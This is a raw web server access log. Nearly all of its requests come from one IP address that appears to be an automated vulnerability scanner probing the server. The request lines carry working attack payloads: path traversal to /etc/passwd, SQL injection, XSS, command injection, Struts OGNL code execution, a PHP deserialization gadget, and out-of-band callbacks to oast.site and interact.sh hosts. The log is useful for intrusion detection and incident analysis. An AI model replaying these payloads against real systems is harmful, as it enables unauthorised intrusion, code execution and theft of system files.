[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?wt=json HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?pma_servername=d5g6sfahausljekepl20gy7bctjzkewky.oast.site&pma_username=380CyIL8a34ZFflWCpxgP8yHYLB&pma_password=380CyIL8a34ZFflWCpxgP8yHYLB&server=1 HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/systemcall.php?command=cat%20/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whoAmI/ HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Collector/diagnostics/trace_route HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ui/api/v1/ui/auth/login HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pandora_console/index.php?login=1 HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=download_report&report=users&status=all HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ws_utc/resources/setting/keystore HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgitest?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,25367*75643,5,6,7%20limit%205,1%20%23 HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rest/issueNav/1/issueTable HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /adxmlrpc.php HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?c=../../../../../../etc/passwd%00 HTTP/1.1" 3426
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bugs/verify.php?confirm_hash&id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WealthT24/GetImage?docDownloadPath=c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+98989*443131,1--+&site=admin HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /addons/phpmailer/phpmailer.php HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /labkey/__r1/login-login.view?returnUrl=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login?!'><sVg/OnLoAD=alert`1337`// HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vpn/../vpns/cfg/smb.conf HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api-third-party/download/extdisks../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /boafrm/formSysCmd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html HTTP/1.1" 226
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search/ HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/ClientAjax HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((6)))a)%3d1+--+- HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zGywQPwddz.txt HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%00./.%00./etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380CyFC0IEgrdaRckqELWfvwIzg/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /base/static/c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione&tipo_tabella=prenotazioni&subtotale_selezionate=1&num_cambia_pren=1&cerca_id_passati=1&cambia1=3134671%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/social-warfare/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?mp_idx=%22;alert(%271%27);// HTTP/1.1" 3426
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /session_login.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /content/380CyE1APRSrdoR5kzl48ITTw2z.af.internalsubmit.json HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ReportServer/Pages/ReportViewer.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.config.i18n.ashx?l=uqcol&v=uqcol HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5('999999999'),0x5B50574E5D3C42523E)%20limit%200,1),NULL-- HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cgi-bin/test-cgi HTTP/1.1" 199
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FProcessLoginRequest&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/rapture/session HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+ HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://d5g6sfahausljekepl20s6sica8ee7myr.oast.site/ HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?redirect=/\\/interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //myaccount/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /osm_tiles/REGISTER.cmd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/demo.php HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.txt HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backupsettings.dat HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/snapshots HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /objects/getImageMP4.php?base64Url=YGlkID4gY3lpd3AudHh0YA===&format=jpg HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%252f%255cinteract.sh%252fa%253fb/ HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategyWS/happyaxis.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927364195 HTTP/1.1" -
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_async/AsyncResponseService HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mailingupgrade.php HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/data/autosuggest-remote.php?q=\"><img%20src=x%20onerror=alert(1)> HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awcuser/cgi-bin/vcs_access_file.cgi?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/login.htm?type=probes HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rpc.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ucmdb-api/connect HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /info.php?RESULT=\",msgArray);alert(document.domain);// HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SWNetPerfMon.db.i18n.ashx?l=uqcol&v=uqcol HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/rest/beta/repositories/bower/group HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pma/index.php?pma_servername=d5g6sfahausljekepl20f97mtjapjomqx.oast.site&pma_username=380CyIL8a34ZFflWCpxgP8yHYLB&pma_password=380CyIL8a34ZFflWCpxgP8yHYLB&server=1 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /run HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nette.micro/?callback=phpcredits HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /files/ldap.debug.txt HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /talari/app/files/380CxoGbwi8to4qcNz4nGVJgRTO HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /carbon/admin/login.jsp?msgId=%27%3Balert(%27document.domain%27)%2F%2F HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ== HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v2/api/product/manger/getInfo HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/ HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ExportAllSettings.sh HTTP/1.1" 199
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jars/upload HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/checkCookie?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitrix/components/bitrix/mobileapp.list/ajax.php/?AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&items%5BITEMS%5D%5BID%5D=<a+href=\"/*\">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//> HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?redirect=//interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /control/stream?contentId=%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /does_not_exist%22%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E%3Cimg%20src=x HTTP/1.1" 199
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380CyFC0IEgrdaRckqELWfvwIzg/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/experimental/test HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fuel/login/ HTTP/1.1" 196
